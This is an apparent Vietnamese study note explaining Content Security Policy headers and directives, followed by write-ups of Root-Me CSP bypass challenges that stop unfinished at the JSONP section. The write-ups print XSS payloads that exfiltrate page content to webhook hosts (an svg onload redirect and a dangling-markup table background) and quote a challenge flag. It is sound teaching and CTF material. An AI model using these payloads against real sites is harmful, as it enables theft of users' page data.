# Tìm hiểu về CSP ## CSP là gì? **Content Security Policy (CSP)** là một lớp bảo mật làm giảm thiểu các cuộc tấn công như XSS hay Injection. Để enable CSP cần cấu hình web server để trả về header `Content-Security-Policy` hoặc có thể `X-Content-Security-Policy` (Phiên bản cũ) như sau: ``` Content-Security-Policy: <policy-directive>; <policy-directive> ``` Ngoài ra có thể dùng tag `<meta>` để cấu hình, ví dụ như: ``` <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';" /> ``` ## CSP bảo vệ các cuộc tấn công như thế nào? Bản chất của các cuộc tấn công như XSS xảy ra đều do việc trình duyệt tin vào máy chủ để thực hiện hành động nào đó như việc thực thi các script độc hại mà attacker đưa vào. Khi đó **CSP** sinh ra nhằm kiểm soát các tài nguyên mà trình duyệt có nên thực thi hay không ví dụ như tài nguyên từ ngoài vào hay từ chính domain, subdomain,... của web. ## Cấu hình Cấu hình CSP cần quan tâm đến 2 phần chính là: **directive** và **giá trị của CSP directive**. Ví dụ: ``` Content-Security-Policy: default-src 'self' ``` Trong ví dụ trên **directive** là `default-src` và **giá trị** của nó là `'self'`. `default-src` là directive là xác định tài nguyên mặc định được phép thực thi trên web, `'self'` là chính domain người dùng đang truy cập. Như vậy cấu hình CSP cho phép tất cả nguồn tài nguyên (script, style, image, media,...) được tải, thực thi trên chính domain hiện tại. Một số **directive**: - `script-src`: chỉ định nguồn tài nguyên Javascript. - `style-src`: chỉ định nguồn tài nguyên CSS (stylesheets). - `img-src`: chỉ định nguồn tài nguyên là ảnh. - `media-src`: chỉ định nguồn tài nguyên là media. - `frame-src`: chỉ định nguồn tài nguyên frame (`<frame>` và `<iframe>`). - `font-src`: Chỉ định các nguồn nguyên cho các font được tải bằng `@font-face`. - `manifest-src`: Chỉ định các nguồn tài nguyên của manifest file. - `connect-src`: Chỉ định các nguồn tài nguyên cho `XMLHttpRequest` (AJAX), `WebSocket`, `fetch()`, hoặc `EventSource`. **...** Một số **giá trị** của chúng: - `*`: Cho phép tất cả. - `self`: chỉ định domain đang truy cập. - `none`: Không cho phép tải từ bất cứ nguồn nào, kể cả domain hiện tại. - `http://www.domain.com`: cho phép tải tài nguyên từ domain được chỉ định, cái này khác hoàn toàn với `domain.com`. - `domain.com`: cho phép tải tài nguyên từ domain chỉ định, không cho phép từ `http://www.domain.com`, `subdomain.domain.com`, `cdn.domain.com`, … - `*.domain.com`: cho phép tải tài nguyên từ subdomain của `domain.com`. - `https`: cho phép tải tài nguyên từ những trang `https`. **...** Ví dụ: ``` Content-Security-Policy: default-src 'self'; img-src *; media-src example.org example.net; script-src userscripts.example.com ``` - image được tải ở bất kỳ đâu (`*`) - Media chỉ được tải trong `example.org` hoặc `example.net`. - Javascript chỉ thực thi từ nguồn `userscripts.example.com`. ## Rootme ### CSP Bypass - Inline code <a href="https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Inline-code">Link</a> ![](https://hackmd.io/_uploads/SyYk4ezu3.png) Giao diện web nhận vào tham số `name` và đưa ra màn hình: ![](https://hackmd.io/_uploads/BJ6XKlMd3.png) ![](https://hackmd.io/_uploads/rkQqKlGdh.png) Nhiệm vụ là bypass CSP và thực thi js (XSS để đọc content page). Ta có CSP: `connect-src 'none'; font-src 'none'; frame-src 'none'; img-src 'self'; manifest-src 'none'; media-src 'none'; object-src 'none'; script-src 'unsafe-inline'; style-src 'self'; worker-src 'none'; frame-ancestors 'none'; block-all-mixed-content;` Check thử qua <a href="https://csp-evaluator.withgoogle.com/">CSP Evaluator</a> được kết quả: ![](https://hackmd.io/_uploads/BkIO9lMu3.png) Đúng như tên bài, cấu hình CSP của directive `script-src` là `unsafe-inline`, đây là cấu hình nguy hiểm vì có thể thực hiện js trên trang. Tuy nhiên payload `<script>alert('xss');<script>` bị filter gì đó nên có thể thay thế bằng `<img>` hoặc `<svg>`: `<svg onload=alert(1)>` Oke payload khai thác: `<svg OnLoad=location.href="//webhook.site/xxx/?c=".concat(btoa(encodeURIComponent(document.body.innerHTML)))>` Gửi vào report, kết quả: ![](https://hackmd.io/_uploads/SyK7KZzOn.png) ![](https://hackmd.io/_uploads/ryk8KWMu3.png) ### CSP Bypass - Dangling markup ### CSP Bypass - Dangling markup 2 <a href="https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-4-Dangling-markup-2">Link</a> ![](https://hackmd.io/_uploads/H1Cmfj3_n.png) Nó cũng giống bài trên khi có : ![](https://hackmd.io/_uploads/SkMPMohOn.png) ![](https://hackmd.io/_uploads/Sk2wzsnOn.png) Sau một hồi tìm kiếm thì mình tìm được payload ở <a href="https://book.hacktricks.xyz/pentesting-web/dangling-markup-html-scriptless-injection#stealing-clear-text-secrets">đây</a>: `<table background='//your-collaborator-id.burpcollaborator.net?'` Tuy nhiên mất khá nhiều thời gian để tùy chỉnh payload cho phù hợp như việc không dùng khoảng trống mắc dù test trên máy mình thì được nhưng bot thì không, payload: `"><table/background='//webhook-id?` và gửi vào report: `http://challenge01.root-me.org:58030/page?user="><table/background='//webhook-id?` Sau vài phút: ![](https://hackmd.io/_uploads/HJgiNj2uh.png) > flag: `D4NGL1NG_M4RKUP_W1TH_CHR0ME_NO_N3W_LINE` ### CSP Bypass - JSONP <a href="https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-JSONP">Link</a> ![](https://hackmd.io/_uploads/BJPNdinu2.png) Cũng như mấy bài trên, mình xem cấu hình CSP: ![](https://hackmd.io/_uploads/SkEv_i3d2.png) Như vậy bài này đặc biệt ở chỗ cho phép load tài nguyên từ các domain(kể cả subdomain): `google.com`, `googleapis.com`, `witter.com`. Như tên bài nhắc đến **JSONP** . *JSONP (json with padding) là một phương pháp hay còn gọi là phương tiện giao tiếp giải quyết vấn đề truy cập dữ liệu giữa các domain khác nhau. Do chính sách cùng nguồn gốc chính vì vậy các trang web có thể lấy dữ liệu JSON được tạo động từ các nguồn khác và chế độ sử dụng này được gọi là JSONP. Dữ liệu được thu thập bằng JSONP không phải là JSON, mà là JavaScript tùy ý, được trình thông dịch JavaScript thực thi thay vì được phân tích cú pháp bởi trình phân tích cú pháp JSON.* Nguồn: <a href="https://anonystick.com/blog-developer/jsonp-la-gi-su-khac-biet-giua-jsonp-va-ajax-2020072855752929">tại đây</a>. > Updating... :v